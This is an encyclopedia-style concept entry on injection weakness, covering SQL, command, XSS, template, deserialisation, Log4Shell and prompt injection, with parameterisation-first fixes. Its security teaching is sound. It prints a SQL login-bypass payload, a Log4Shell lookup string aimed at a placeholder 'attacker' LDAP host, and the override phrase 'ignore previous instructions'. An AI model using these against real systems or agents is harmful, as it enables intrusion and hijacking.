Skip to content

Injection Weakness

The software-security failure in which untrusted data crosses into a control channel and a downstream interpreter executes it as command, query, or instruction — a collapse of the data/control boundary that a legitimate, often credential-free, input channel is enough to exploit.

Core Idea

Injection weakness is the software-security failure mode in which data supplied by an untrusted source — a form field, a URL parameter, an HTTP header, a file name, an API response, a message queue payload — is interpreted by a downstream component as executable command, query, control directive, or instruction rather than as inert content. The structural failure is a collapse of the data/control boundary: the program maintains (explicitly or implicitly) a separation between the information it is processing and the directives controlling that processing, but at a crossing point the untrusted data enters the control channel without being marked, quoted, escaped, parameterised, or otherwise inertised — and the downstream interpreter, which treats particular tokens as control when it encounters them, executes attacker-supplied logic while believing it is handling data.

The mechanism is the same across every substrate variant: an interpreter (SQL engine, operating-system shell, browser JavaScript runtime, template renderer, LDAP server, JNDI resolver, LLM inference engine) sits downstream of a data input channel; it cannot distinguish data tokens from control tokens unless the upstream code structurally enforces that distinction; and wherever string concatenation, unsanitised interpolation, or unparameterised binding conflates the two, the interpreter is handed a mixed stream and executes whatever control tokens the data contained. SQL injection crosses form-field text into a SQL query; OS command injection crosses a filename into a shell command string; stored cross-site scripting crosses a comment field into the HTML/JavaScript rendered in another user's browser; template injection crosses a configuration value into a Jinja or Twig expression evaluator; LDAP, XPath, NoSQL, GraphQL injection do the same in their respective query languages; CRLF injection crosses control characters into HTTP header lines; Log4Shell (CVE-2021-44228) crossed log-message content into a JNDI expression evaluator; prompt injection crosses user-supplied text into the instruction channel of an LLM-based agent. Deserialisation as injection is the variant in which a serialised object from an untrusted source is reconstituted by a runtime that constructs and executes methods on the resulting objects during parsing — the serialised blob is data at the boundary, a recipe for behaviour once inside.

The forensic signature is distinctive: the attack succeeds with authorised access to a legitimate input channel. No authentication or authorisation check is defeated; the attacker presents valid credentials (or no credentials at all) to a legitimate input surface, and the structural failure at the data/control boundary does the rest. This separates injection from authentication weakness (defeating who-you-are) and authorisation weakness (defeating what-you-can-do): injection requires neither — it exploits the gap between what the program was told to receive and what the downstream interpreter will execute.

The intervention vocabulary is correspondingly specific to the boundary: use parameterised or prepared statements that bind data to query slots without string concatenation, keeping data and control syntactically separate at the database wire protocol level; encode or escape on output at the point of rendering, ensuring each output context (HTML, JavaScript, shell, SQL) applies the correct escaping for that interpreter; design APIs so the data/control distinction is structural rather than contractual — separate channels for data and directives, schema-constrained tool calls, content-security policies in browsers; validate inputs against a tight allow-list as a secondary layer; in the LLM register, use system-prompt isolation, schema-constrained tool-call interfaces, and guardrails that treat user-supplied content as data rather than instruction. Defence in depth is standard practice because any single layer can be bypassed; the structural intervention (parameterisation or channel separation) is the primary one, and the 2017 Equifax breach (CVE-2017-5638, OGNL expression in an HTTP Content-Type header executed by Apache Struts) and the 2021 Log4Shell vulnerability are canonical demonstrations of what happens when it is absent.

Structural Signature

Sig role-phrases:

  • the data/control separation — a maintained boundary between content being processed and the directives controlling that processing, whether structural, contractual, or merely implicit
  • the untrusted input channel — a legitimate entry surface (form field, header, file name, API response, queue payload, LLM user turn) carrying attacker-supplied content
  • the downstream interpreter — a component (SQL engine, OS shell, browser runtime, template renderer, LDAP/JNDI resolver, deserialiser, LLM) that reads particular tokens as control when it meets them
  • the shared stream — data and control directives co-occupying one string or stream the interpreter parses, so unmarked data can be read as control
  • the crossing point — the location where untrusted data enters the control channel without being marked, quoted, escaped, parameterised, or otherwise inertised — the boundary failure itself
  • the forensic signature — success with authorised, often credential-free, access to a legitimate channel, defeating neither authentication nor authorisation
  • the two-tier intervention — structural separation first (parameterised binding, separate channels, schema-constrained calls), then escaping, allow-listing, CSP, and WAF as defence-in-depth backstops

What It Is Not

  • Not an authentication or authorization failure. The attacker defeats neither who-you-are nor what-you-can-do; the forensic signature is success with authorised, often credential-free, access to a legitimate input channel. The break lives at the data/control crossing, not at the login or the privilege matrix — and looking for a defeated access check wastes the incident response.
  • Not a mere sanitisation lapse. "We forgot to escape this field" frames the defect as a missing patch on an otherwise-sound design; the real failure is a collapse of the data/control boundary, where untrusted data co-occupies a stream the interpreter parses. The question is not "did we escape this input?" but "is data structurally separated from control here, or only contractually?"
  • Not fixed primarily by escaping or allow-listing. Output-encoding, input validation, CSP, and a WAF are the defence-in-depth backstops, not the primary fix — each is interpreter-specific and each can be bypassed. The payload-independent fix is structural: parameterised binding, a separate channel for directives, a schema-constrained tool call.
  • Not dependent on a malicious attacker. The mechanism is the interpreter reading unmarked data as control; it fires wherever data crosses into the control channel unintertised, with or without intent. A buggy upstream service or a confused deputy can trip it as surely as an adversary — malice is a common occasion, not a constituent.
  • Not a single bug class tied to SQL. SQLi is the canonical instance, not the boundary of the category. OS-command, XSS, template, LDAP/XPath/NoSQL/GraphQL, CRLF-header, deserialisation, JNDI-expression (Log4Shell), and OGNL-in-a-header injection are the same defect at the same kind of location, differing only in which interpreter sits downstream and which token grammar governs inertisation.
  • Not prompt injection as a loose metaphor. Prompt injection is a genuine member of the class — a real inference-engine interpreter downstream of a real untrusted-input channel, with the data/control distinction genuinely collapsing. What does not yet carry across is the primary fix: current LLMs have no hard boundary equivalent to a prepared statement, so system-prompt isolation and guardrails are mitigations of degree, not the payload-independent guarantee parameterisation gives a database.

Scope of Application

Injection weakness lives across the application-security subfields of software engineering — wherever an untrusted-input channel feeds a downstream interpreter; its reach is within that domain, the variants differing only in which interpreter sits downstream and which token grammar governs inertisation. The cross-substrate analogues (viral genome integration, social-engineering pretext) belong to the parent pattern of data/control-plane confusion, not to "injection" as named.

  • SQL injection — the canonical instance and a perennial OWASP Top 10 entry: form-field or parameter text crosses into a SQL query, the ' or ; token reparsed as control by the database engine.
  • OS command injection — a filename, parameter, or input string concatenated into a shell command, where ;, backticks, or | cross into shell control and execute arbitrary processes.
  • Cross-site scripting (reflected, stored, DOM-based) — a user-controlled string rendered as HTML in another user's browser, <script> tags or event handlers read as executable JavaScript by the page runtime.
  • Server-side template injection (Jinja, Twig, Smarty) — user input reaching a template renderer, where template-expression syntax in the payload is evaluated by the engine, often to remote code execution.
  • Query-language injection (LDAP, XPath, NoSQL, GraphQL) — each query language's own control/data syntax crossed by untrusted data, subverting directory lookups, document queries, or graph resolvers.
  • HTTP header / CRLF injection — control characters smuggled into a string break the header-line boundary, letting an attacker inject new HTTP headers or split responses.
  • Email / SMTP injection — form fields crossing into email headers (Bcc, Subject) to redirect mail or relay spam through a contact form.
  • Untrusted deserialization — a serialized object from an outside source reconstituted by a runtime (Java, PHP, Python pickle, .NET) that constructs and runs methods during parsing, so the blob is a recipe for behavior once inside.
  • Expression-evaluator injection (Log4Shell, Struts/OGNL) — log-message or header content parsed as a JNDI lookup (CVE-2021-44228) or an OGNL expression (CVE-2017-5638), the data channel routed into a code evaluator.
  • Prompt injection in LLM applications — user-supplied text crossing into an agent's instruction channel; a genuine member of the class (real inference-engine interpreter, real untrusted channel), though the structural fix is so far weaker than parameterization's payload-independent guarantee.

Clarity

Naming injection weakness gives the security engineer a single failure class where vulnerability reports otherwise look like a heap of unrelated bugs — a SQLi in one form, a stored XSS in a profile field, an SSTI in a template, an RCE through deserialisation, a prompt injection in an LLM tool. The label asserts these are one defect wearing different interpreters: untrusted data crossed the data/control boundary and was read as control. That recognition is what lets a team build a single mental checklist (every place input reaches an interpreter) instead of patching each report as a novelty, and what lets a new interpreter — a query language, a template engine, an LLM inference channel — be screened the moment it appears, before its own first CVE.

Its sharpest clarifying work is separating injection from the two failure modes it is constantly conflated with: authentication weakness (defeating who-you-are) and authorisation weakness (defeating what-you-can-do). Injection defeats neither. The forensic signature — the attack succeeds with authorised, often credential-free, access to a legitimate input channel — tells the responder where not to look: not at the login, not at the access-control matrix, but at the crossing point where data enters a control stream unmarked. That localisation in turn fixes the intervention. Once the breakdown is named as a boundary collapse rather than a sanitisation lapse, the question shifts from the weak "did we escape this input?" to the structural "is data structurally separated from control here, or only contractually?" — and the structural answer (parameterised binding, separate channels, schema-constrained tool calls) is recognised as primary, with escaping and allow-listing demoted to the defence-in-depth layers they actually are.

Manages Complexity

The attack surface of a modern application is, taken case by case, unbounded: every form field, header, URL parameter, file name, cookie, API response, message-queue payload, log line, and configuration value is a potential entry point, and each downstream interpreter — SQL engine, OS shell, browser runtime, template renderer, LDAP server, JNDI resolver, deserialiser, LLM — has its own grammar of control tokens (', ;, <script>, {{ }}, CRLF, OGNL, ${jndi:}, "ignore previous instructions") with its own escaping rules and its own catalogue of CVEs. A team that meets this as a list of distinct vulnerabilities faces a combinatorial explosion: input-channels × interpreters × token-grammars, re-analysed afresh for every new field and every new engine, with no way to know whether the next addition is safe until it earns its own bug report. Injection weakness collapses that whole product to a single repeated question asked at one kind of location: at each point where an input channel feeds an interpreter, is untrusted data structurally separated from control, or does it co-occupy a string the interpreter will parse? The thousands of potential vulnerabilities reduce to an enumeration of data/control crossing points, and at each crossing the analyst tracks just a few things — does untrusted content reach this interpreter; is the separation structural (parameterised binding, separate channel, schema-constrained call) or merely contractual (escaping, allow-listing, "we assumed it couldn't get here"); and which interpreter's grammar governs the inertisation. From those, the qualitative outcome reads off directly: structural separation present means the crossing is safe regardless of payload; only contractual separation means it is exploitable by some input and the only question is which. The branch structure is equally compressed. The forensic signature — succeeds with authorised, often credential-free, access to a legitimate channel — partitions an incident cleanly away from authentication and authorisation failures before the access logs are even pulled, telling the responder to look at crossing points rather than at the login or the privilege matrix. And the intervention space, which case-by-case would be a sprawl of per-engine escaping recipes, collapses to a two-tier ordering that holds across every variant: make the boundary structural first (the primary fix that is payload-independent), then layer escaping, output-encoding, allow-listing, CSP, and WAF as the defence-in-depth backstops they are. The same compression makes a not-yet-seen interpreter tractable: the moment a new query language, template engine, or inference channel appears, it can be screened by the one question — does data reach it through a structurally separated channel — before it accumulates a single CVE of its own, so the analyst reasons forward from the structure instead of waiting to re-derive the defect empirically per substrate.

Abstract Reasoning

Injection weakness licenses reasoning moves that all reduce to one question asked at one kind of location: at each point where an untrusted input channel feeds an interpreter, is data structurally separated from control, or does it co-occupy a string the interpreter will parse? The diagnostic move runs both from a discovered vulnerability and from a triaged incident. From a vulnerability report — a SQLi in a form, a stored XSS in a profile field, an SSTI in a template, an RCE through deserialisation, a prompt injection in an LLM tool — the analyst infers a single underlying defect wearing different interpreters: untrusted data crossed the data/control boundary and was read as control, so the reports are recognised as one class rather than patched as novelties. From an incident, the analyst reasons off the forensic signature: because the attack succeeds with authorised, often credential-free, access to a legitimate input channel, defeating neither authentication nor authorisation, the responder infers the break is at a crossing point and predicts where not to look — not the login, not the privilege matrix, but the place where data enters a control stream unmarked. This is diagnosis by elimination: the access checks were not defeated, so the fault lives in the boundary between what the program was told to receive and what the downstream interpreter will execute.

The most distinctive move is a boundary-drawing one over the kind of separation present. The analyst partitions every crossing into structurally separated (parameterised binding, a separate channel for directives, a schema-constrained tool call) versus only contractually separated (escaping, allow-listing, or an unstated assumption that the input could not reach this path), and reasons that the verdict follows from this distinction alone: structural separation makes the crossing safe regardless of payload, while merely contractual separation makes it exploitable by some input, leaving open only which input. This recasts the open-ended attack-surface question — every field, header, parameter, cookie, log line, and configuration value times every interpreter's token grammar — into an enumeration of data/control crossing points, at each of which the analyst tracks just three things: whether untrusted content reaches the interpreter, whether the separation is structural or contractual, and which interpreter's grammar governs the inertisation. The same move reframes the design question from the weak "did we escape this input?" to the structural "is data structurally separated from control here, or only contractually?"

The interventionist move reasons forward from the boundary collapse to a two-tier ordering of fixes that holds across every variant. Make the boundary structural first — parameterised or prepared statements that bind data to query slots without concatenation, separate channels for data and directives, schema-constrained tool calls, system-prompt isolation in the LLM register — because that fix is payload-independent and primary; then layer output-encoding for the rendering context, allow-list validation, content-security policy, and a WAF as the defence-in-depth backstops they actually are, on the reasoning that any single layer can be bypassed. Each escaping recipe is reasoned to be interpreter-specific (the correct escaping for HTML differs from SQL differs from a shell), so the analyst predicts that an output-encoding fix applied for the wrong context will not inertise the payload. The most forward-looking move is interpreter screening by structure rather than by CVE: the moment a new query language, template engine, or inference channel appears downstream of untrusted input, the analyst screens it with the single question — does data reach it through a structurally separated channel — and predicts its exposure before it accumulates a first CVE, reasoning from the structure instead of waiting to re-derive the defect empirically per substrate. The recurring habit the concept installs is to walk an application as a set of data/control crossings and ask, at each, whether the separation is structural or only contractual — reading exploitability off the answer.

Knowledge Transfer

Within software security the concept transfers as mechanism, and that transfer is the whole point of naming it. The diagnostic ("at this crossing, is data structurally separated from control or only contractually?"), the forensic signature ("succeeds with authorised, often credential-free, access to a legitimate channel"), the two-tier intervention ordering ("structural separation first, escaping/allow-listing/CSP/WAF as defence-in-depth"), and the screening question for a fresh interpreter all carry intact from one substrate variant to the next. SQL injection, OS command injection, the cross-site-scripting family, server-side template injection, the LDAP/XPath/NoSQL/GraphQL query-language variants, CRLF header injection, untrusted deserialisation, Log4Shell's JNDI-expression evaluation, and OGNL-in-a-header remote code execution are the same defect at the same kind of location — they differ only in which interpreter sits downstream and which token grammar governs inertisation. The vocabulary does not even strain: a security engineer who has internalised the boundary-collapse account walks an unfamiliar stack — a new query language, a new template engine — and applies the identical question before that engine earns its first CVE. This is the strongest form of within-domain transfer: the named machinery (parameterised binding, output-encoding, schema-constrained channels) is itself the cross-variant tool.

The reach into the LLM register deserves a precise word, because it is where the boundary between mechanism and analogy is currently being drawn in practice. Prompt injection — user-supplied text crossing into an agent's instruction channel — is a genuine member of the class, not a metaphor for it: there is a real interpreter (the inference engine) downstream of a real untrusted-input channel, and the data/control distinction really is the thing that collapses. What does not carry across cleanly is the primary fix. In the classical variants the structural separation is exact — a prepared statement binds data to a query slot so that no payload can be reparsed as control — whereas current LLMs have no comparable hard boundary between system instruction and user content; system-prompt isolation, schema-constrained tool calls, and guardrails are mitigations of degree, not the payload-independent guarantee that parameterisation gives a database. So the mechanism transfers (this is injection), but the defence is, as of now, weaker than its name promises — an honest qualification rather than a reason to deny the kinship.

Beyond software the picture is best described as a shared abstract mechanism that travels while the named cargo stays home — case (B), not loose metaphor. Strip the security idiom and a substrate-neutral structure remains: a system maintains a separation between a data channel and a control channel; an interpreter downstream reads the data channel and, on encountering particular tokens, acts on them as directives; an adversary (or, tellingly, no agent at all) causes content to enter the data channel without being inertised, so the interpreter executes supplied control while believing it is processing data. That structure genuinely recurs across distinct substrates as co-instances, not resemblances. A virus inserts its genome into a host's DNA and the host's own transcription/translation machinery reads it as instructions — and the cleanness of this case is precisely that there is no malice and no intentional defender, demonstrating the pattern is structural, not a feature of human attack. Social engineering crosses an attacker-supplied story into a person's instruction-following channel ("IT needs you to reset this"); a bureaucratic memo describing a state of affairs gets read as a directive to act; a confused deputy is induced to apply its authority on an attacker's behalf. In each, the general mechanism — data-control plane confusion at a trusted-channel boundary — is the thing that recurs and carries a real, transferable lesson (separate the channels structurally; mark, don't trust). What does not travel is the entire named apparatus of injection weakness: parameterised statements, escaping grammars, OWASP categories, the SQL/shell/HTML/JNDI interpreter zoo, and the eponymous vocabulary itself are software-security furniture that does not survive extraction. The honest move, when the lesson is needed across domains, is to carry the general pattern (the parent the concept instantiates — boundary failure at the data/control plane, mis-placed trust), not the term "injection," whose machinery is substrate-bound (see Structural Core vs. Domain Accent).

Examples

Canonical

The canonical instance is SQL injection. Consider a login that builds its query by string concatenation: SELECT * FROM users WHERE name='$u' AND pass='$p'. An attacker submits ' OR '1'='1' -- as the username. The assembled string becomes SELECT * FROM users WHERE name='' OR '1'='1' --' AND pass='', in which '1'='1' is always true and -- comments out the remaining password check, so the database returns a row and authenticates the attacker with no valid credentials. The apostrophe supplied as data was read by the SQL parser as a control token that closed the string literal; the authentication logic itself was never defeated — the boundary between data and control collapsed at the point the query was assembled.

Mapped back: The login form is the untrusted input channel; the SQL engine is the downstream interpreter; the concatenated query is the shared stream; the unescaped apostrophe reparsed as control is the crossing point; and logging in with no valid password is the forensic signature — neither authentication nor authorisation was broken, only the data/control separation.

Applied / In Practice

In December 2021 the Log4Shell vulnerability (CVE-2021-44228) exposed the ubiquitous Java logging library Apache Log4j 2: when the library logged a string containing ${jndi:ldap://attacker/...}, its message-lookup feature resolved the expression through JNDI, fetched a remote object, and executed it — turning any logged, attacker-controllable value (a User-Agent header, a chat message, a device name) into remote code execution. Because Log4j is embedded in vast numbers of Java applications, exploitation was immediate and global, and defenders scrambled to patch, disable message lookups, or filter the payload string.

Mapped back: The logged header or field is the untrusted input channel; Log4j's JNDI expression evaluator is the downstream interpreter; the log message carrying both ordinary text and a ${jndi:} directive is the shared stream at its crossing point; and the fact that no login or permission check stood between attacker and execution is the forensic signature — a legitimate, credential-free input surface was enough.

Structural Tensions

T1: Structural versus contractual separation (the distinction the verdict rests on). The concept partitions every data/control crossing into structurally separated — parameterised binding, a separate directive channel, a schema-constrained tool call — versus merely contractually separated: escaping, allow-listing, or an unstated assumption that the input could not reach this path. This distinction alone decides exploitability: structural separation is payload-independent and safe regardless of input, while contractual separation is exploitable by some input, leaving open only which. The tension is that contractual measures feel like security, pass most tests, and satisfy audits, yet offer no guarantee — an escaping routine that handles every payload the team imagined fails on the one it did not. The whole difficulty is that "we escaped it" and "it is structurally impossible to reparse this as control" look similar in a code review and diverge completely under an adversary. Diagnostic: At this crossing, is data bound so it cannot be reparsed as control (structural), or merely filtered/escaped on the assumption that the dangerous cases are covered (contractual)?

T2: One class versus interpreter-specific inertisation (unified diagnosis, non-unified fix). Naming injection as a single defect wearing different interpreters is a genuine economy: a security engineer can screen an unfamiliar query language, template engine, or inference channel with one question before it earns its first CVE, reasoning forward from structure rather than waiting to re-derive the bug per substrate. But the remedy refuses to unify at the same level as the diagnosis. The correct escaping for HTML differs from SQL differs from a shell differs from LDAP, so an output-encoding fix applied for the wrong context does not inertise the payload at all. The tension is that the concept's power is a substrate-general diagnosis, while its secondary defences are irreducibly interpreter-specific — the generality that lets you find the flaw everywhere does not hand you a single fix that works everywhere, and mistaking one grammar's escaping for another's reopens the crossing. Diagnostic: Is the diagnosis being made at the general level (data reaches an interpreter unmarked) while the fix is matched to the specific interpreter's grammar — or is one escaping recipe being reused across interpreters it does not fit?

T3: Injection versus authentication/authorization (the forensic signature localizes by elimination). The signature is that the attack succeeds with authorised, often credential-free, access to a legitimate input channel, defeating neither who-you-are nor what-you-can-do. This is powerful localization — it tells the responder to look at crossing points, not the login or the privilege matrix — but its power is exactly what makes it easy to miss: because no access check was defeated, the logs show a legitimate user doing legitimate things, and an investigation trained to hunt for a broken authentication or a privilege escalation finds nothing and may conclude nothing is wrong. The tension is that the very cleanness of the signature (no defeated check) both pinpoints the fault for those who know the class and camouflages it for those who reason only about access control. The absence of an access-control failure is the evidence, not the exoneration. Diagnostic: Did this incident succeed without defeating any authentication or authorization check — pointing at a data/control crossing rather than at the login or privilege matrix?

T4: Malice-optional mechanism versus adversarial framing (the security idiom foregrounds an attacker the structure does not require). The defect is the interpreter reading unmarked data as control; it fires wherever data crosses into the control channel uninertised, with or without intent. A buggy upstream service, a confused deputy applying its authority on another's behalf, or — the cleanest demonstration — a virus whose genome the host's own transcription machinery reads as instructions all trip it with no attacker at all. This is why the pattern is structural rather than a feature of human aggression. But the entire named apparatus is framed adversarially (attacker, payload, exploit), and that framing, while apt for most software cases, can hide the non-adversarial trips: a data-feed that accidentally carries control tokens is the same defect, yet a team scanning for "attacks" may never model it. The tension is that the security idiom that makes the class vivid also narrows the imagination to malicious occasions of a mechanism that needs no malice. Diagnostic: Does the analysis treat the crossing as dangerous only under attack, or as a boundary that fails whenever unmarked data reaches the interpreter — including from a buggy or non-adversarial source?

T5: Genuine class membership versus a fix that does not carry (prompt injection). Prompt injection is a true member of the class, not a metaphor: a real inference-engine interpreter sits downstream of a real untrusted-input channel and the data/control distinction genuinely collapses. Admitting it is the honest call. But the primary fix does not carry across with the diagnosis. In the classical variants a prepared statement binds data to a slot so no payload can be reparsed as control — an exact, payload-independent structural boundary; current LLMs have no comparable hard separation between system instruction and user content, so system-prompt isolation, schema-constrained calls, and guardrails are mitigations of degree, not guarantees. The tension is that the name imports the expectation of a structural fix that, in this member, does not yet exist — kinship is real, but the reassurance the shared label implies is not. Denying the membership would be wrong; trusting the defence to be as strong as the name promises would be worse. Diagnostic: Is prompt injection here being treated as genuine injection (correct) while acknowledging that no prepared-statement-grade structural fix exists for it yet (also correct) — or is the name being read as if the strong classical remedy transfers?

T6: Autonomy versus reduction (a software-security class, or an instance of data/control-plane confusion). Injection weakness is a fully worked software-security class whose value is its within-domain generality: the diagnostic, the forensic signature, and the two-tier fix carry intact across SQL, shell, XSS, template, LDAP, deserialisation, and JNDI variants, and naming it is what lets a team screen a new interpreter before its first CVE. But strip the security idiom and the recurring structure is the parent — a data channel and a control channel, an interpreter downstream that acts on certain tokens as directives, and content entering the data channel uninertised so control is executed as if it were data. That parent genuinely recurs as co-instances (viral genome integration, social-engineering pretext, the bureaucratic memo read as a directive, the confused deputy), but the named apparatus — parameterised statements, escaping grammars, OWASP categories, the interpreter zoo — is software furniture that does not survive extraction. The tension is between a class whose whole point is to unify a software substrate and the recognition that its portable lesson (separate the channels structurally; mark, don't trust) belongs to the boundary/trust parent. Diagnostic: Resolve toward the parent (data/control-plane confusion, structural channel separation) when carrying the lesson outside software; toward named injection weakness when the substrate has real interpreters and the parameterisation-first remedy applies.

Structural–Framed Character

Injection weakness sits at mixed, with an unusually structural mechanism underneath a firmly framed named apparatus — closer to isostasy than to a practice-constituted verdict, because its core defect recurs observer-free across substrates that share no human practice at all. On evaluative_weight it is mixed: "weakness" and "vulnerability" carry a defect verdict, and the whole apparatus is framed adversarially (attacker, payload, exploit), yet the entry is emphatic that the mechanism is malice-optional — the interpreter reading unmarked data as control fires with a buggy upstream service, a confused deputy, or no agent at all, so the underlying structure is evaluatively neutral even where the label is not. On human_practice_bound it leans structural at the mechanism level: the cleanest co-instance is a virus whose genome the host's own transcription machinery reads as instructions — no defender, no attacker, no human practice — which is exactly the entry's demonstration that the pattern is structural rather than a feature of human aggression; what is practice-bound is the named concept, which presupposes designed software with interpreters and input channels. On institutional_origin it leans framed: parameterised statements, escaping grammars, the OWASP categories, and the SQL/shell/HTML/JNDI interpreter zoo are software-security furniture minted by that discipline, though the data/control-plane confusion they manage is not itself an artifact of any tradition. On vocab_travels it is mixed-to-low: within application security the vocabulary carries its full content across every interpreter variant, but beyond software the named machinery does not survive extraction and the lesson must travel under other names. On import_vs_recognize it is structural: the entry insists the cross-substrate cases (viral genome integration, social-engineering pretext, the memo read as a directive, the confused deputy) are co-instances, not resemblances — the same mechanism recognized, not a metaphor imported.

The portable structural skeleton is data/control-plane confusion at a trusted-channel boundary: a maintained separation between a data channel and a control channel, a downstream interpreter that acts on particular tokens as directives, and content entering the data channel uninertised so supplied control executes as if it were data. That skeleton is what injection weakness instantiates from its parent primes — a boundary failure at the data/control plane, compounded by mis-placed trust in the channel — and the cross-domain reach (from DNA transcription to human pretext) belongs to those parents, which recur as true co-instances, while the domain-accented specifics (parameterised binding, per-interpreter escaping grammars, the OWASP taxonomy, the forensic credential-free signature) stay home and do not lift. Its character: a structurally real, malice-optional boundary-collapse mechanism — data read as control across a trusted channel — that recurs observer-free from viral genome integration to social engineering, yet whose entire named toolkit is software-security furniture that keeps the label itself home.

Structural Core vs. Domain Accent

This section decides why injection weakness is a domain-specific abstraction and not a prime — and, like initiative loss, it is a case where the mechanism itself recurs observer-free across substrates, so the decision turns on separating the traveling mechanism from the software-security machinery that names it.

What is skeletal (could lift toward a cross-domain prime). Strip the security idiom and a substrate-neutral structure survives: a system maintains a separation between a data channel and a control channel; a downstream interpreter reads the data channel and acts on particular tokens as directives; content enters the data channel without being inertised, so the interpreter executes supplied control while believing it is processing data. The portable pieces are abstract — a maintained boundary between content and directives, an interpreter that reads certain tokens as control when it meets them, a shared stream in which the two co-occupy one path, and a crossing point where unmarked data is read as command. Tellingly, the skeleton needs no attacker: it fires with a buggy upstream service, a confused deputy, or no agent at all. That is exactly why the entry documents it recurring as co-instances rather than resemblances — a virus whose genome the host's own transcription machinery reads as instructions, a social-engineering pretext crossing into a person's instruction-following channel, a memo read as a directive. This is the core injection weakness shares with those cases, not what makes it distinctive.

What is domain-bound. Everything with proprietary content is software-security furniture that does not survive extraction. The parameterised / prepared-statement fix and its payload-independent guarantee; the per-interpreter escaping grammars (HTML differs from SQL differs from shell differs from LDAP); the OWASP taxonomy and the whole interpreter zoo (SQL engine, OS shell, browser runtime, template renderer, LDAP/JNDI resolver, deserialiser, LLM); the forensic credential-free signature that localizes an incident away from authentication and authorization; and the canonical CVEs (SQLi, Log4Shell, Struts/OGNL) are the worked substance of application security. The decisive test: carry the concept to viral genome integration or a bureaucratic memo and none of that toolkit comes along — there is no prepared statement for DNA, no OWASP category for a confused deputy, no escaping grammar for a pretext. The data/control-plane confusion is genuinely shared; the named apparatus is not.

Why this does not clear the prime bar. A prime's vocabulary travels and its transfer is recognition, not analogy. Injection weakness's transfer is bimodal. Within software security the entire apparatus travels as mechanism — the diagnostic, the forensic signature, and the two-tier fix carry intact across SQL, shell, XSS, template, LDAP, deserialisation, and JNDI variants, letting an engineer screen a new interpreter before its first CVE. Beyond software the mechanism still recurs as true co-instances, but the named concept reaches them only by renaming: "injection" applied to a virus or a pretext borrows the shape while the parameterisation-and-escaping machinery stays home. That is the prime-bar test: when the bare structural lesson (separate the channels structurally; mark, don't trust) is needed cross-domain, it is already carried, in more general form, by the parents the entry instantiates — a boundary failure at the data/control plane compounded by misplaced trust in the channel. The cross-domain reach belongs to those parents, which recur observer-free from DNA transcription to human pretext; "injection weakness," as named, carries software-security baggage that should stay home, and the honest move when the lesson generalizes is to carry the boundary/trust parent, not the term "injection." (The LLM register is the live edge: prompt injection is a genuine class member — a real interpreter downstream of a real untrusted channel — but its primary fix has not yet transferred, since current models have no prepared-statement-grade structural boundary, a caveat about the defence, not the kinship.)

Relationships to Other Abstractions

Local relationship map for Injection WeaknessParents appear above the current abstraction, mutual partners to the right, and children below. Node labels state whether each abstraction is prime or domain-specific; colors identify relation types.Injection WeaknessDOMAINPrime abstraction: Control / Data Channel Confusion — is a decomposition ofControl / Data …PRIMEDomain-specific abstraction: Cross-Site Scripting — is a kind ofCross-SiteScriptingDOMAINDomain-specific abstraction: Insecure Deserialization — is a kind ofInsecureDeserializationDOMAINDomain-specific abstraction: Prompt Injection — is a kind ofPrompt InjectionDOMAIN

Current abstraction Injection Weakness Domain-specific

Parents (1) — more general patterns this builds on

  • Injection Weakness is a decomposition of Control / Data Channel Confusion Prime

    Injection weakness is control/data channel confusion specialized to software interpreters, untrusted input surfaces, and inertization rules.

Children (3) — more specific cases that build on this

  • Cross-Site Scripting Domain-specific is a kind of Injection Weakness

    Cross-site scripting is injection weakness specialized to browser parsers, output-context encoding, and execution under a trusted web origin.

  • Insecure Deserialization Domain-specific is a kind of Injection Weakness

    Insecure deserialization is injection weakness specialized to a parser that reconstitutes behavior-bearing objects from attacker-controlled bytes.

  • Prompt Injection Domain-specific is a kind of Injection Weakness

    Prompt injection is an injection weakness whose downstream interpreter is a language model and whose shared control/data substrate is natural language.

Hierarchy paths (2) — routes to 2 parentless roots

Not to Be Confused With

  • Authentication weakness. The failure that defeats who-you-are — a bypassed login, a forged token, a cracked or stolen credential. Injection defeats no such check: its forensic signature is success with authorised, often credential-free, access to a legitimate channel. The break is at the data/control crossing, not the identity gate. Tell: was a login or credential check circumvented (authentication weakness), or did a validly-presented (or no-credential) input surface deliver a payload the interpreter executed (injection)?

  • Authorization weakness / broken access control. The failure that defeats what-you-can-do — a user reaching data or actions beyond their privilege, a missing permission check, a horizontal or vertical escalation. Injection defeats neither the identity nor the privilege matrix; it exploits the gap between what the program was told to receive and what the downstream interpreter will execute. Tell: did a legitimate access check fail to stop an over-privileged action (authorization weakness), or did no access check get defeated at all while data crossed into a control stream (injection)?

  • SQL injection (the canonical subtype). The textbook member — form-field text crossing into a SQL query, the ' or ; reparsed as control by the database engine. It is one instance, not the boundary of the class: OS-command, XSS, template, LDAP/XPath/NoSQL, CRLF-header, deserialisation, and JNDI-expression injection are the same defect at the same kind of location, differing only in which interpreter sits downstream. Part-vs-whole: SQLi is to injection weakness what a single interpreter is to the category. Tell: treating "injection" as meaning SQL specifically mistakes the canonical instance for the class.

  • Prompt injection (a genuine member with a non-transferring fix). User-supplied text crossing into an LLM agent's instruction channel — a real interpreter (the inference engine) downstream of a real untrusted channel, so it is a true class member, not a metaphor. What does not carry across is the primary fix: current LLMs have no prepared-statement-grade hard boundary, so system-prompt isolation and guardrails are mitigations of degree, not the payload-independent guarantee parameterisation gives a database. Tell: prompt injection is injection (correct to classify it so), but the strong classical remedy does not transfer with the name — treat the shared label as diagnosis, not reassurance.

  • Memory-corruption RCE (buffer overflow, use-after-free). A different vulnerability class that often produces the same outcome — arbitrary code execution — but by a different mechanism: overwriting memory (a stack/heap boundary violation, a dangling pointer) rather than crossing unmarked data into an interpreter's control grammar. The confusion is by consequence (both yield RCE), not by structure. Tell: did execution come from corrupting the program's memory layout (memory-corruption), or from an interpreter parsing supplied tokens as directives (injection)?

  • Data/control-plane confusion (the parent). The substrate-neutral parent injection weakness instantiates — a boundary failure at the data/control plane compounded by misplaced trust in a channel — which recurs observer-free as true co-instances (viral genome integration, social-engineering pretext, the memo read as a directive, the confused deputy). Injection weakness is its software-security specialization, carrying the parameterisation-and-escaping toolkit that does not survive extraction. Tell: strip the security idiom and what recurs cross-domain is the boundary/trust parent, treated more fully in a later section — the "injection" apparatus stays home.

Neighborhood in Abstraction Space

Injection Weakness sits in a sparse region of the domain-specific corpus (67th percentile for distinctiveness): few abstractions share its structure, so a faithful description tends to retrieve it precisely.

Family — Unclustered & Miscellaneous (309 abstractions)

Nearest neighbors

Computed from structural-signature embeddings · 2026-07-12